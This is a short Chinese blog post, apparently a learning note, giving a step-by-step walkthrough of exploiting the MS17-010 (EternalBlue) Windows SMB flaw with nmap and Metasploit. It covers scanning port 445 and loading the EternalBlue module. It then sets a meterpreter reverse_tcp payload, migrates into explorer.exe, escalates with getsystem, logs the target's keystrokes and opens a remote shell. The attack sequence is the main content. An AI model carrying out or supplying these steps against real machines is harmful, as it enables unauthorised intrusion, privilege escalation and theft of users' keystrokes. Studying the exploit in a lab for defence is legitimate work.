利用ms17_010系统漏洞实现系统入侵

最近在学习kali的使用,总结一下ms17_010漏洞的利用,操作基础,步骤详细,简单易懂

 

操作步骤:

1.输入 “nmap -sS 192.168.1.105 -p 445”,表示隐秘的对445端口进行扫描

2.输入“msfconsole”,进入metasploit工具

3.输入“search ms17_010”,搜索ms17_010漏洞模块

4.对照搜索出来的路径,对ms17_010模块进行加载

并设置目标主机为192.168.1.105,然后“run”

5.说明存在漏洞,可以使用永恒之蓝进行攻击

 

 

6.根据搜索出来的目录,加载永恒之蓝攻击模块

7.然后运行,能成功进入主机

8.设置攻击荷载:set payload windows/x64/meterpreter/reverse_tcp

9. 连接至主机,显示现在运行的进程,找到explorer.exe进程

 

 

10.将寄存进程修改为explorer,然后再getpid查看是否修改成功

 

11.利用getuid查看现在的权限,然后利用getsystem进行提权

 

12.监控目标主机的键盘输入,然后显示出来

13.输入shell可以进入目标主机的命令行

 

 

操作到这就基本结束了,可以根据自己的需要进行研究深入

meterpreter>? 显示帮助

如想了解源代码,请移步另一博客https://blog.youkuaiyun.com/qq_32261191/article/details/80451998

 

 

水平不足,如有错误,欢迎大家指正

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值